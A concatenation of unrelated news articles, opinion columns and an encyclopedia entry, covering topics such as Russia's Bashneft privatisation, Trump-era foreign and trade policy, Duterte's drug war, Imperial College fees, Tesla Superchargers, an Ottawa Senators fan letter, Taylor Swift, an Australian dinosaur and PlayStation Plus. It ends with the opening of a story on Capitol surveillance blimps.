"We're not trying to recreate the video game experience. What we wanted to do with the mobile game from both sides — from Niantic as well as Pokémon — was, we wanted to make a new experience that was native to mobile." — J.C. Smith
Are you looking forward to Pokémon GO? Let us know in the comments!
Source: Polygon |
SOCHI, Russia (Reuters) - Russia said on Friday that it was resuming the shelved privatisation of oil firm Bashneft, in a sign of how anxious the Kremlin is to raise money to fill holes in the budget left by the economic slump.
People walk past the headquarters of Russian state-owned oil producer Bashneft in central Moscow, Russia August 17, 2016. REUTERS/Sergei Karpukhin/File Photo
The Bashneft privatisation, the most significant sell-off of Russian state assets in years, had been postponed indefinitely in August.
Sources close to the government and the bidding process said at the time the postponement was ordered by the Kremlin to staunch infighting among rival clans over who would be the eventual buyer.
But in a U-turn, Deputy Prime Minister Igor Shuvalov said on Friday steps to resume the privatisation would be taken immediately.
He said that Rosneft - the state oil giant whose ambition to acquire Bashneft triggered the infighting - would be free to take part. A spokesman for Rosneft said the company would be lodging a bid.
Shuvalov also said the government would proceed immediately with the sale of a minority stake in Rosneft itself, an acquisition of potential interest to international oil majors who covet a share in Russia’s massive crude reserves.
“Money is needed urgently,” a source in the government said, when asked what brought about the government’s U-turn on its privatisation plans.
A second source in the government said: “The sale of Bashneft to Rosneft is a done deal.”
BUDGET HOLES
Russia is in its second year of economic recession, mainly because of the fall in world prices for crude oil, its principal export. It expects only very moderate growth next year,
The government has struggled to find funds to cover its growing budget deficit. The finance ministry said on Friday the deficit may hit between 3.5 percent and 3.7 percent of gross domestic product this year, compared to a 3 percent estimate a few months ago.
Russia’s sovereign wealth funds are depleting fast, and its ability to raise debt on international capital markets is limited by financial sanctions imposed on Moscow over its role in the conflict in Ukraine.
The government has little scope to cut spending. That could alienate ordinary people whose support President Vladimir Putin will need if, as expected, he seeks re-election in a presidential election in 18 months.
“After further study of the Rosneft and Bashneft privatisation issues by the government, and after a presentation to the president, it was decided to resume the preparations for selling a controlling stake in Bashneft and immediately proceed to prepare for selling a 19.5 percent stake in Rosneft,” Shuvalov said.
Speaking to reporters at a business forum in the Black Sea resort of Sochi, he said the government had reconsidered its position after seeing investor appetite for the two stakes and learning what the potential bidders planned to do if they won.
“According to the assurances that we have received from investment consultants, we hope to receive above 1 trillion roubles ($15.92 billion) from these deals by the end of the current year,” Shuvalov said.
“The money from the Rosneft privatisation will be counted as budget revenue, and the revenue from the sale of Bashneft (will go on) covering the federal budget deficit,” he said.
On the Bashneft sale, Shuvalov said: “Rosneft will not be prevented from participating.”
PUTIN’S CHOICE
Two years into an economic crisis made worse by the Kremlin’s political stand-off with the West, Putin faces a difficult choice.
He needs to find ways to plug the holes in the budget and put money into the pocket-books of ordinary Russians who have seen their incomes drop in real terms. But the prescriptions for achieving that goal could also unleash conflict within his own entourage, potentially destabilising his rule.
The plan to sell a 50.8 stake in Bashneft had attracted interest from Rosneft, a company headed by Putin’s long-standing associate Igor Sechin, and Lukoil, Russia’s biggest privately-owned oil company run by billionaire Vagit Alekperov.
The interest from Rosneft provoked a storm of protests from pro-market groups within the Kremlin elite who did not see the benefit of one state-owned company acquiring another, according to the sources close to the government and the privatisation process.
But in an interview earlier this month, Putin signalled he did not see a problem with Rosneft bidding.
“It looks like Rosneft convinced the government that it is the most suitable suitor to buy Bashneft,” said Sergei Vakhrameyev, analyst with GL Asset Management.
Shuvalov said there has been substantial interest in both the Bashneft and Rosneft sell-offs.
He said Bashneft has attracted interest primarily from Russian investors.
The planned sale of the 19.5 percent stake in Rosneft, by contrast, was garnering interest mainly from foreign investors, Shuvalov said.
(This version of the story corrects paragraph 23 to remove erroneous reference to Rosneft) |
Columnist
Critics have complained about President Trump's bombast on foreign policy, but some GOP insiders worry about a less visible problem — a hollowed-out bureaucracy that has been slow to develop and implement strategy.
Skeptics say that on major issues — Afghanistan, Iran, Syria, Iraq, Russia — the Trump administration hasn't explained clear, systematic plans for achieving results. Even where there seems to be a coherent diplomatic strategy, as on North Korea, the president often undercuts it with Twitter storms or personal tirades.
Because so many key political positions haven't been filled at the State Department, the interagency process that's supposed to decide and implement policy is something of an "empty suit," veteran officials say. European diplomats say they have been frustrated by the difficulty in finding Trump officials with whom they can frame policies on shared concerns, such as Iranian misbehavior.
Trump seems weirdly pleased at the many vacant policy positions — evidently not understanding that the vacancies prevent effective action. "I'm generally not going to make a lot of the appointments that would normally be — because you don't need them," Trump boasted in an interview with Forbes published Tuesday.
The most outspoken GOP criticism has come from Sens. John McCain (Ariz.) and Bob Corker (Tenn.), the chairmen of the Armed Services and Foreign Relations committees, respectively. McCain said last week that the administration's lack of public explanation of how it intends to implement its Afghanistan strategy was "totally unacceptable." Corker drew headlines with his warning Sunday that Trump was "on the path to World War III," but his deeper criticism was of a White House that resembled "a reality show" rather than a policymaking nexus.
"They've set the table, but they haven't yet followed up with fully developed strategies and policies," said Stephen Hadley, who was national security adviser for President George W. Bush. He argues: "This is a different kind of administration, and the normal six- to-eight-month transition process will in this case probably take 12 to 14 months. It will take that much time to get the key political-appointee jobs filled and to get the interagency process working the way it needs to work."
The administration conducted a detailed review of Afghanistan policy, and Trump announced the conclusions in an Aug. 21 speech that recommended familiar themes of pressuring Pakistan, improving Afghan governance, modestly increasing troops and seeking a political settlement. But how will these goals be achieved? McCain complained Oct. 3: "In the six weeks since the president made his announcement, this committee and the Congress, more broadly, still does not know many of the crucial details of this strategy."
A similar lack of clarity afflicts Iran strategy. The administration has been talking since Inauguration Day about countering Iranian influence in the Middle East. But much of the policy bandwidth has been consumed by the one issue that isn't currently a problem — the nuclear deal that Iran is complying with but that Trump wants to decertify anyway.
"On Iran, the irony of this administration is that they're doing the same thing as the previous one, but in reverse," says a senior Senate Republican staffer. "They're putting the Iran nuclear deal at the center, now as a negative instead of a positive, rather than focusing on combating Iranian influence in the region."
A White House briefing to reporters last week promoting a new effort to get tough on Hezbollah provided little detail. It included a two-page factsheet that could have been compiled from Wikipedia, a map listing known Hezbollah operations, and two recent indictments of U.S.-based Hezbollah operatives who traveled abroad but posed "no immediate threat" to the United States. The anti-Hezbollah effort was broadened slightly Tuesday with an offer of rewards of $5 million and $7 million for information on two Hezbollah operatives.
The policy paralysis has been clearest with Syria, where a brutal civil war occasioned so much criticism of a "feckless" Obama administration. After nearly nine months, Trump still hasn't settled on a plan for Syria or Iraq — especially on the crucial question of whether to leave a small residual U.S. force there. "On Syria and Iraq, strategy is in a holding pattern," says the senior Republican Senate staffer.
A senior administration official rebutted many of the criticisms, arguing that the classified version of the Afghanistan strategy had all the details that critics were seeking and that a broad Iran strategy might be announced soon. But this official conceded that consensus on Syria "hasn't been achieved."
Trump's slurs and insults may be distracting us from a more basic foreign policy problem: On some key issues, when it comes to actual policy plans, the cupboard is bare.
Read more from David Ignatius's archive, follow him on Twitter or subscribe to his updates on Facebook. |
The new U.S. president made good on one of his campaign promises Monday, formally withdrawing the United States from the Trans-Pacific Partnership free-trade deal, and signalling his intention to renegotiate NAFTA "at the appropriate time."
Calling the move "great news for American workers," Donald Trump signed an executive order pulling the U.S. out of TPP, a pan-oceanic trade pact signed by his predecessor but never ratified.
The 12-nation trade deal had been a target of his wrath on the campaign trail. "We are going to stop the ridiculous trade deals that have taken everybody out of our country and taking companies out of our country," Trump said after signing the order.
Prominent Republican — and frequent Trump critic — Senator John McCain of Arizona was quick to criticize the decision, releasing a statement calling it a "serious mistake."
"This decision will forfeit the opportunity to promote American exports, reduce trade barriers, open new markets and protect American invention and innovation," McCain said. "It will create an opening for China to rewrite the economic rules of the road."
On the other side of the political aisle, Vermont Senator and erstwhile presidential candidate Bernie Sanders cautiously welcomed the move.
"I am glad the Trans-Pacific Partnership is dead and gone. For the last 30 years, we have had a series of trade deals — including the North American Free Trade Agreement ... which have cost us millions of decent-paying jobs and caused a 'race to the bottom,' which has lowered wages for American workers," Sanders said.
"Now is the time to develop a new trade policy that helps working families, not just multi-national corporations. If President Trump is serious about a new policy to help American workers then I would be delighted to work with him."
NAFTA questioned too
Reports Monday suggested the Trump administration would also sign an order to formally attempt to renegotiate NAFTA. While that didn't come to pass, Trump told reporters that discussions on the future of the North American Free Trade Agreement would begin "at the appropriate time."
At a press briefing later on Monday, White House press secretary Sean Spicer said no further executive orders are planned today, but more movements on trade are expected later this week.
An adviser to the Trump White House said Monday that there's a "very low risk" of Canada suffering any "collateral damage" in any NAFTA discussions.
At last count, at least 35 U.S. states counted Canada as their largest trading partner, and those states won't want to see the border thicken in either direction.
Nations with which the U.S. has a trade deficit will be more of an area of focus, said Blackstone Group CEO Stephen Schwarzman, head of a group of business leaders who are advising Trump on economic matters.
Spicer said exiting the TPP is a symbol of a "new era" of U.S. trade policy.
"This type of multinational agreement is not in our best interest," Spicer said, adding that the administration favours one-on-one bilateral trade deals.
"The president's vision is to negotiate trade deals that create American jobs."
Spicer added that the president is open to renegotiating NAFTA in its current structure, and expects those talks to begin within the next month. But he added that if that's not possible the administration will pursue new bilateral deals. |
MANILA (Reuters) - The Philippines on Thursday dismissed as “thoughtless and irresponsible” a report by Human Rights Watch that President Rodrigo Duterte had turned a blind eye to murders by police in what the group called a “campaign of extrajudicial execution”.
A policeman stands guard near the body of a suspected drug pusher, whom police investigators said was shot and killed by unidentified men, along a street in Quezon city, metro Manila, Philippines March 1, 2017. REUTERS/Romeo Ranoco
Duterte’s signature war on drugs was in the best interests of Filipinos and the New York-based group’s allegations of systematic police abuse were “hearsay” and not supported by evidence, said presidential spokesman Ernesto Abella.
“All these accusations of circumventing police procedures should be proven in a competent court and if found meritorious should result in appropriate sanctions against the perpetrators,” Abella said in a statement.
“Failing these, such claims are mere hearsay.”
The report, “License to Kill”, documented 24 cases in which 32 people had been killed, where police accounts were starkly different from those of witnesses, who detailed “cold blooded murders” of unarmed drugs suspects.
Official records said the killings were in self-defense.
Reuters last year looked at the citing of self-defense as the reason behind numerous killings in police operations, with a 97 percent kill rate the strongest proof yet that police were summarily shooting drug suspects.
Human Rights Watch found no distinction between killings in police operations and those the authorities attributed to unknown gunmen or vigilantes. In some of those cases, the victims had hours earlier been in police custody, it added.
About 8,000 people have died since the crackdown was launched in June last year, 2,555 in police operations and the circumstances of many of the rest much in dispute.
Abella’s statement addressed only a few of the allegations, such as the planting of evidence and firearms, and did not respond to many of the report’s findings.
‘DO NOT GENERALIZE’
Philippine National Police (PNP) spokesman Dionardo Carlos told Human Rights Watch “do not generalize” and said the 24 cases it looked into were insufficient to conclude that widespread abuses took place.
Carlos said the PNP’s Internal Affairs Service had handled 2,000 complaints and found violations in only 28 cases.
“If there is evidence that would point to the violations of these police officers, file cases against them,” he told reporters.
“We will not allow these officers to commit wrongdoings.”
Human Rights Watch also noted community “watch lists” to warn drug users or identify candidates for rehabilitation involved visits that turned out to be a “method of confirming the identity and whereabouts of a target”.
In one of a series of investigative reports last year Reuters found “watch lists” were effectively hit-lists, with many of the people named on them ending up dead.
Human Rights Watch said though there was no evidence showing Duterte or top officials planned or ordered extrajudicial killings, they could be implicated through incitement to violence, to instigate murder, and crimes against humanity.
The media, rights groups, the United Nations and foreign governments had informed Duterte what was happening, yet nothing had been done to stop the illegal killing, it added.
“His public comments in response to those allegations are evidence he knows about them,” it said.
Duterte did not explicitly mention the report in a speech on Thursday, but he defended himself and his crackdown and said his actions were lawful.
“My order to the police and the military was very clear – go out, hunt for them, make them surrender so that you would know their connections, and we can gather more evidence,” he said.
“But if they present a violent resistance, thereby placing your life in danger, son of a bitch, kill them. There’s nothing illegal there. Why would you put me in prison?” |
Image caption Imperial College wants to charge the maximum level of fees from 2012
Imperial College London has become the first university in England to formally announce that it wants to charge the maximum level of tuition fees.
Imperial, a world-famous science institution, plans to charge £9,000 for all subjects from 2012.
Cambridge University has proposed fees of £9,000, but it has still to complete its decision-making process.
Imperial College will now have to provide details of support for poorer students to the Office for Fair Access.
'Maintain excellence'
The central London college, one of the country's top-rated universities, says it wants to charge maximum fees to "maintain the excellence of the education we provide to students".
After the government raised the limit for tuition fees for universities in England from 2012, individual institutions have been holding internal discussions about how much they should charge.
Details are beginning to emerge, with Cambridge moving a step closer on Monday to adopting fees of £9,000, when its council backed a recommendation for maximum fees.
For those who can manage Imperial's courses, the college will work to ensure they can manage its costs Keith O'Nions, Rector, Imperial College
Imperial College, one of the country's top-rated institutions, has become the first to unequivocally set out its intention to charge the top level of fees.
It will now have to decide what package of financial support will be available to students from low-income families.
"Our message to the outside world though must be that for those who can manage Imperial's courses, the college will work to ensure they can manage its costs," says a statement from the rector, Keith O'Nions.
Imperial, specialising in science, medicine and engineering, has performed strongly in international league tables.
Before MPs voted on the fee increase, there had been claims that the top level of fee would only be charged in "exceptional circumstances".
But there are already signs that leading universities intend to charge at the upper level of fees.
Oxford University says that it will need to charge at least £8,000 per year to replace the budgets that are being cut.
Government warnings
There have been suggestions that if universities such as Imperial, Cambridge and Oxford opt for the highest level of fee, it will make it harder for other leading universities to charge less.
Cambridge's review of fees warned that charging less than the top rate would raise questions about their commitment to quality.
But there have been warnings from the government that universities should not all expect to be able to charge the maximum amount - not least because of the cost of student loans.
Any universities wanting to charge more than £6,000 will need to reach agreement with the Office for Fair Access.
But universities have argued that they face deep cuts to their teaching budgets and need to charge tuition fees above this level to maintain their current funding.
Universities will be submitting their fees plans in the next few weeks, with the final outcome on fee levels expected to appear in the summer.
The Department for Business, Innovation and Skills said any university that wants to charge more than £6,000 would need to show how they met tough new conditions in an approved access agreement with the Office for Fair Access.
A spokesperson said: "When deciding on the charges they intend to make for courses, the government expects that universities must look for efficiencies and keep their costs to students as low as possible." |
Tesla and Ruby Tuesday, a popular chain of restaurants in the US, announced a partnership to open a series of new Supercharger Stations at its locations along important routes across the US. The news comes just a few days after Tesla acknowledged being in talks with gas station and restaurant chains about expanding its network of fast-charging stations.
Earlier this month, Tesla already opened a Supercharger in the parking lot of the Ruby Tuesday location in Miner, Missouri (pictured above), but now they are announcing “a series of Tesla Supercharger stations” for their restaurants.
David Skena, chief marketing officer of Ruby Tuesday, said in a statement today:
“We’re thrilled to partner with Tesla Motors to offer our guests a place where they can charge their Tesla vehicle while enjoying a delicious meal. Expanding the Supercharger network to include Ruby Tuesday is good for both Tesla owners and our restaurants alike. We look forward to deepening our relationship with Tesla and opening additional Supercharger Stations in Ruby Tuesday markets around the country in the near future.”
Ruby Tuesday has 729 restaurants across its markets though the company didn’t specify how many will get Supercharger stations.
Tesla Superchargers can provide up to 120 kilowatts of power and charge a Model S or X with up to 170 miles of range in about 30 minutes. That 30 minute is extremely valuable customer attention for businesses around the chargers, Ruby Tuesday in this case, where Tesla owners will be able to stop for a bite to eat. It’s so valuable, that some businesses are now contributing to the energy costs associated with the Superchargers at some locations. It’s not clear if this is the case here with the restaurant chain.
The automaker announced plans to double its Supercharger network within the next two years in order to support its expanding fleet of vehicles. Currently, the company operates over 650 Suerpcharger stations with around 4,000 Supercharger stalls around the world.
Featured image: Tesla Supercharger in the parking lot of the Ruby Tuesday in Miner, Missouri via Majerus on TMC |
If somehow you missed it, Ottawa Senators owner Eugene Melnyk released an opinion piece to the Ottawa Citizen yesterday, continuing a long tradition of him not understanding his fanbase at all. This is my attempt at disagreeing with what he says, mostly for catharsis, because he won’t read it, and even if he did, he wouldn’t understand.
Dear Eugene Melnyk,
You still don’t get it, do you? Us fans aren’t expecting the world, but we want honesty and realism. You don’t seem capable of giving us either. This time I suppose I should be happy that you picked an Ottawa newspaper, not Toronto sports radio, to voice your displeasure. But once again, you don’t even attempt to understand anyone who disagrees with you, and we’re far past the point of giving you any sympathy.
You start off by talking about the Parliament Hill game. No one disagrees that it would’ve been great. The problem is that there were just too many logistical issues. Most of them were outlined on this site not too long ago. You argue “The stars could not have aligned any better”, but it’s pretty obvious this isn’t the case. The Hill was a pipe dream at best, and everyone (with the possible exception of you) wasn’t holding their breath.
“It would have been a worldwide event that would have put all eyes on Canada – and our capital.” The thing is, it still could be. As much as we decry outdoor games, you’ve got to know that an outdoor game for the NHL’s 100th anniversary in the same city as its inaugural game would be marketed to death. You should know this. You should know how much this fanbase would appreciate it. But you hardly even address the possibility in your article. You seem much more intent on attacking the entirety of the Ottawa Citizen (who ran this article for you) than actually offering anything of substance.
From there, you move into some considerations. To put things bluntly, they’re terrible. You start off by saying “As owner of an NHL franchise, my core responsibility is to ice a competitive hockey team and to try to not lose money in the process.” By that standard, you’ve failed miserably. It’s been a decade since this team was competitive. You complain every year that you’re losing money. So if that is your prime responsibility, then you’ve been failing for a decade, and maybe it’s time to reconsider your suitability for your job.
Next, you state that “These events [...] bring billions in cumulative economic revenue to the city.” This is what we’re all saying about why there should still be an outdoor game. The fact that you said the nice-and-vague “billions” tells me that you’ve done no study on this fact, but your point agrees with most fans. So why aren’t you committed to doing an outdoor game elsewhere? Oh yeah, you don’t actually say.
The next consideration is about your work towards bringing an arena to downtown Ottawa. I don’t see how this relates. We’ve known for a long time that, a) Lebreton Flats was opening up for redevelopment, and b) the NHL was approaching its 100th anniversary. You should be able to hire two different task forces to work on these two things. Not to mention, the work at Lebreton Flats is for the Ottawa Senators. It’s not some benevolent gift, it’s building an arena downtown to replace the 20-year-old arena in the west end. You’ve said that moving to Lebreton Flats would net the team more money and push the team closer to being a team that spends to the salary cap. Businesses should invest millions in projects that could net them many times more money over years to come. And guess what? You even won that bid! So don’t try to tell me that investing “millions” (i.e. vague amounts) in the Lebreton bid limits your ability to look into an outdoor game in Ottawa.
Your last consideration was my favourite: “And seriously, an outdoor game is not a “cash cow” for the Ottawa Senators.” Are you kidding me? Why else would you do it? Why does the NHL do 35 of these per season? They make money. Think about the merchandising possibilities - a new jersey everyone would want for starters, along with hats, mitts, you name it. I have a very hard time believing that you would actively choose to lose money to put this event on for the benefit of the fans. And if you’re arguing that a game at TD Place specifically won’t be a cash cow, I question why. Is the cost of renting TD Place really more than paying a group to build a pop-up arena on Parliament Hill? I seriously doubt it. TD Place could hold far more people, especially with added stands like they do for the Grey Cup. Once again, you speak with authority without having a shred of evidence to back up your opinion. I don’t think I need to add proof since you didn’t, but I will anyway. The 2014 Winter Classic earned a net profit of $20-million. Granted, that goes into the NHL’s hockey-related revenue, not directly to the team involved, but still. The host team is made whole, then gets its share of the rest of the profits (about half-a-million by that estimate). Plus the same share as always of merchandise goes to the team, and you’d better believe people would be buying stuff when you consider the success of the Heritage jersey. It would be the biggest single-game profit for the Sens on the year, guaranteed.
It was also a nice touch bringing up the ailing attendance near the end. Lots of people have considered why attendance is so low for a number of reasons. The fact that the government can’t buy corporate tickets, the difficulties in getting to the arena, the number of years of mediocrity by the team, and the lack of marketing of wunderkid Erik Karlsson are just a few. But none of this relates at all to holding an outdoor game. Unless you’re specifically trying to spite fans for low attendance by not talking to TD Place, this is another non sequitur, and I can’t say I’m surprised. Besides shouldn’t a team with attendance issues be interested in attaining the marquee event of the 2017-18 season?
You end by saying that all criticism of you over outdoor games “is unjust, unfair and misrepresents everything that my ownership and the Senators mean to this city.” This is a terrible way to end. Everyone should be open for criticism. If no one criticizes something I write, I get concerned. There is no way to improve if you’re not willing to listen to criticism. It sounds like you’ve made up your mind over every criticism of you before it even comes. If you can’t handle it, you shouldn’t dish it out. I think they teach you that in kindergarten.
And lots more criticism will come, as long as you whine (to Toronto media) about losing money, talk in vague terms with no proof or research, complain about irrelevant things like starting Matt O’Connor in the home opener, and try to lecture a fanbase about how hockey works when the fanbase includes two individuals who make their living running hockey analytics websites. I’m not sure what the goal of this article was, but it definitely succeeds in making you sound like a whiny, selfish, petty billionaire who is completely out of touch with his fanbase.
If you want some ideas about things that might interest fans, I might suggest actually listening to fans. The past editor of this site, A, had some good thoughts yesterday about this. One idea is that the Sens could try to be the first major professional sports team with trans-friendly regulations. Inclusivity in hockey is miles behind where it should be, and that could be a real opportunity for the Sens. (Calling it an opportunity assumes you have no ethics and are just looking for ways to make money. But it also would be the ethical thing to do.) You could try some of A’s past ideas too, like having a small Sens museum in the arena, bringing personality to the inside of CTC, and actually marketing Erik Karlsson. Seriously, how have the Sens not marketed Karlsson for all he’s worth?
Oh, and finally, I think it would be good to keep going after an outdoor game. For once, the league was actively wanting to promote Ottawa. You’re shooting the entire franchise in the foot by refusing to move forward because you didn’t get your plan A, because you still bear a grudge against Landsdowne for getting your a soccer team, or because you want to spite the fans for not attending games (against Arizona on a Tuesday night when the Blue Jays were playing in the ALCS). Pouting and losing Ottawa its one opportunity to host an outdoor game would cement your place as the pettiest owner in the NHL since Bill Wirtz or even Harold Ballard. I’m sorry if you think these comments are unjust, unfair, or misrepresentative, but I’m not that sorry, because you already told me you were going to think that of my criticism regardless of what I said. And if you truly think you are so mistreated and unappreciated as owner, maybe it’s time to move on. I promise you, we fans won’t miss these whiny rants you go on periodically.
Sincerely,
Ross A
Managing Editor, Silver Seven Sens, SB Nation |
Taylor Swift has been one of the biggest names in the music industry for a long time, and just when it seems like she can’t achieve anything else or become any more famous, she goes and nabs herself another number one or changes the business in some way. Just this month, she became—as she so eagerly put it—the first woman to win Album of the Year at the Grammys twice (which is only true when looking at the lead artist), which must be one of the biggest accomplishments of her career.
So, now that she has found critical and commercial success in literally everything she’s ever done and altered history and the music industry in more than a few ways, what is next for the world’s biggest pop star?
Another Pop Album
Her first proper foray into the genre was a resounding success, but that doesn’t mean that she’s done with it. 1989 was probably only the first taste of what the now-pop star has in store. It showed her that she can sell more albums and chart number ones if she does pop correctly (her four chart-toppers are all pop), so there’s probably little chance that she’ll go back to country anytime soon. Since she just started in the genre, she might have more to say before she feels the need to move on. Between the 5 million-plus album sales, the millions upon millions of singles sold, and the worldwide tour, which grossed about $4 million per night, pop has treated Swift pretty well so far.
Dance
It might sound odd, but stranger things have happened in the music world. Now that she has ventured into the pure-pop territory, it wouldn’t be entirely unexpected if her next album leaned dance a little bit more, incorporating more electronic elements than 1989. Don’t expect her to go full-on EDM, but she has to push herself and try something new next time around, and the world is loving all things electronic at the moment. Plus, she is dating one of the world's most successful and sought-after electronic/dance producers, so the resources are there.
Another Genre?
Now, it would be out of left field to see Taylor Swift attempt to conquer the hip-hop world, but there is no reason that she couldn’t take her bubblegum pop-ish sound and turn it into something slightly different. Fellow pop songstress Carly Rae Jepsen created a fantastic album last year by mixing her signature sound with R&B, and Swift might try the same. Or she could go in a rockier direction, or perhaps she’ll go after Adele’s style and try true ballads. Anything is possible...for her to attempt, at least.
Investing and Branding
It’s been shown that Swift is already the most marketable name in music, and while she has signed plenty of endorsement deals in her time, there is still plenty for her to do. In fact, while the singer did bring in an astounding $80 million last year thanks to touring, music sales, and especially her partnerships with companies like Diet Coke and Keds, there is probably even more to be made.
Now that she is at the peak of her power, she might become an entrepreneur to reckon with, ditching the dollars from other brands and focusing on her building own instead. She could launch her own record label, a clothing line, or perhaps a line of headphones or some other tech gadget. Her reach is unprecedented, and eventually she’ll want to run more of the companies she is involved in. In just a few years, we could see Taylor on the same level earnings-wise as stars like 50 Cent and Dr. Dre, both of whom may now be better-known for their business savvy than their records.
An Oscar
It’s no secret that Taylor has had an Academy Award in her sight for some time, but so far even a nomination has eluded her. She has been nominated for two Golden Globes for Best Original Song, and she lost both times. She already has ten Grammys and an Emmy, so she only has an Oscar and a Tony left to become one of the few in history who have ever EGOT-ed, and that idea has certainly already entered her mind. Also, now that fellow contemporary pop stars like Sam Smith, The Weeknd, and Lady Gaga are up for the prize this year, her interest has probably been reignited.
Acting
Swift has had minor appearances in films before, but she has never taken on a starring role and made it her own. She might not be known for her acting skills...and that’s what makes the prospect so interesting for her. The singer obviously enjoys a challenge, and this is an industry where she is not a power player. Her acting career might go either way and it could take any form, but she may look to jump back in again, especially in the coming months when she is in between album cycles and she’ll have some time on her hands. |
Atlascopcosaurus (meaning "Atlas Copco lizard") is a genus of herbivorous basal iguanodont dinosaur from the Early Cretaceous of the present Australia.
Classification [ edit ]
The type specimen, NMV P166409, was found in 1984 at the Dinosaur Cove East site at the coast of Victoria, in layers of the Eumeralla Formation dating from the early Cretaceous, Aptian-Albian. The holotype consists of a piece of the upper jaw, a partial maxilla with teeth, and referred specimens include teeth, another maxilla, and dentaries.[1] Although the rest of the skeleton is unknown it can be inferred from closely related species that the genus represents a small bipedal herbivore. By extrapolation it has been estimated that it was about two to three metres (6.5–10 ft) long and weighed approximately 125 kg.
The type species, Atlascopcosaurus loadsi, was named and described by Tom Rich and Patricia Vickers-Rich in 1988/1989. The generic name refers to the Atlas Copco Company who had provided equipment for the dig that discovered this dinosaur in 1984. The project revealed 85 fossil bone fragments of various species. This opened the door for more excavation and, along with other companies, Atlas Copco helped over ten years excavate about sixty metres of tunnel in a cliff wall at the sea shore. The specific name, loadsi, honours William Loads, the state manager for Atlas Copco at the time, who assisted during the dig.[1] Despite being assigned to Hypsilophodontidae by its describers, the original classification of Atlascoposaurus was considered untenable given that Hypsilophodontidae has been recovered as paraphyletic in subsequent cladistic studies and Atlascopcosaurus was tabulated as a basal member of Ornithopoda in the second edition of the Dinosauria.[2] Because the teeth are not species-specific and the maxilla fragment is little informative, Agnolin et al. (2010) treated it as a nomen dubium, even though they noted similarities with the elasmarians Anabisetia and Gasparinisaura from Patagonia.[3] However, Boyd (2015) considered the genus valid and recovered it at the base of Iguanodontia in a clade with Anabisetia, Gasparinisaura, and Qantassaurus.[4]
References [ edit ] |
Sony shows subscription services how it's really done
Sony has made a lot of mistakes over the years, and I've cheerily called the publisher out on many of them. For all its hubris, however, and for all its missteps, the PlayStation brand owner is prone to having some really quite brilliant ideas now and then, proving itself surprisingly savvy and innovative when the need arises.
Among these ideas, PlayStation Plus is undoubtedly one of its best, though I was cynical towards the idea of a subscription-based PlayStation Network service at first. Early propositions made it sound quite undesirable, and given Sony's other attempts at aping rival Microsoft -- Trophies spring to mind -- I expected something pointless and poorly implemented.
That's not what we got. Instead, PlayStation Plus is one of the most consumer-friendly, convenient, and worthwhile ideas to hit the PlayStation 3. More importantly, in an industry where publishers are trying to take more money than ever for less content, Sony's the guiding light in how to draw a steady payday from users in a way that makes everybody happy.
PlayStation Plus is a subscription-based service that offers free games, major discounts, and exclusive downloads to customers for $49.99 a year. Every week, the service offers new freebies and cheap titles, giving away not just classic PlayStation games, but current-gen titles including big hitters like inFAMOUS and The Walking Dead.
In keeping its commitment to offering free online play, Sony had to work extra hard to ensure PS Plus was worth paying for, and the results can be measured in numbers. The company recently revealed Plus' discounts and giveaways amounted to a cumulative $2,472 in 2012. While it's unlikely a customer downloaded absolutely everything required to get these savings, it would be quite easy to at least make back the $50 entry fee in content.
It sounds almost ridiculous to say it, but Sony has been pioneering the practice of giving stuff away in exchange for consumer loyalty. Yes, it seems like a no-brainer tactic, but the idea seems to have eroded in so many areas of the industry that Sony's remarkable for doing it. You give Sony money, and Sony gives you stuff in return. It doesn't unlock stuff that was gated off, it doesn't provide what the competitor was already providing, it just gives you things. It's almost crazy to see that now, especially on consoles.
And yes, it's true that PS Plus doesn't let you keep the free content once you unsubscribe, but if you weren't getting your money's worth while still tied to it, then frankly, you have nothing worth missing. Even as a "rental" service, it's a killer deal, and the discounts are nothing to sniff at.
Compare this to Microsoft, a company struggling more and more to justify its subscription service with a straight face. The Xbox 360 owner has systematically worked to hold its content to ransom in an increasingly futile bid to make Xbox Live Gold look worth its fee. The biggest feature is, of course, online play -- something available for free on PS3, Wii U, and PC. The company took something that was already a given, and held it back.
It's done this with practically every feature on Xbox Live Gold. Netflix, Amazon Video, and (before retirement) social apps like Twitter and Facebook all require Gold subscriptions to use, despite these items being freely available on almost every electronic device on the market. Hell, my television can access Netflix, Amazon, Twitter, Facebook, and a Web browser, and they're all better than the Xbox 360 versions -- they browse faster, they stream more consistently, and their search functions blow the 360's pathetic offerings out of the water.
This is the reality of Xbox Live Gold, a service I believe only continues to thrive due to the habitual nature of consumers, and one that I don't think can sustain itself indefinitely. Xbox Live Gold has never offered the consumers anything. It's never actually exchanged a feature outstanding enough to justify an outstanding payment. All it does is take away. Even demos are held hostage, given a delayed release for Xbox Live Silver users in a fantastic example of just how desperate Microsoft is to create the illusion of worth instead of providing actual value. Xbox Live Gold is all smoke and mirrors -- a delayed feature here, a withheld app there, a carefully constructed facade. So carefully constructed, in fact, it may have been less effort to actually give consumers something.
Oh, and let's not even get started on the ads Xbox Live run on its paid service.
There's a strong sentiment in the games industry that the consumer should be the load-bearer for a publisher's problems. Game budgets running out of control? Charge $60, regardless of quality, and take content out to sell as "downloadable" content later. Piracy is a perceived problem? Shovel in a load of DRM as a placebo, which only really has the effect of controlling those consumers who already paid you fair and square. Used games a potential threat? Lock online play in a cage and make used gamers pay a direct fee, while those who bought it new waste time inputting a code to show their fealty.
Sony's not above some of those practices itself, of course, but at least when it comes to PS Plus, the company truly did its loyalest consumers a solid.
It's disgraceful that Sony's PS Plus philosophy is such an anomaly in the videogame industry, that choosing to reward, rather than punish, the customer is downright unique in contrast to Sony's closest rivals. The idea that a subscription service legitimately exchange content for cash should not be something so extraordinary as to be praised, but that's the situation we're in. PlayStation Plus really shouldn't be considered excellent, it shouldn't be applauded for going above and beyond. It is though, and while that's a damning indictment on the rest of the industry, it certainly makes Sony the good guy -- in relative terms, if nothing else.
I love PlayStation Plus. I fully admit I thought it'd work out terribly, and thrilled to say I was wrong. PS Plus stands as a shining example of how you deliver a compelling, rewarding videogame service, and exposes the competition as nothing more than a glorified seller of snake oil.
Now ... if it can get the PlayStation Vita Plus services kicking as much ass as the PS3 one, I'll be doubly impressed.
You are logged out. Login | Sign up |
The Office of Naval Research worked with Science & Technology International in 2003 to test blimps for the war on terrorism. (Alex Wong/Getty Images File Photo)
Coming soon to a Capitol skyline near you: Giant blimps at 10,000 feet?
The woman at the helm of the House Administration Committee thinks the Capitol needs eyes in the sky, after authorities failed to detect Florida mailman Douglas Hughes' April 15 gyrocopter flight.
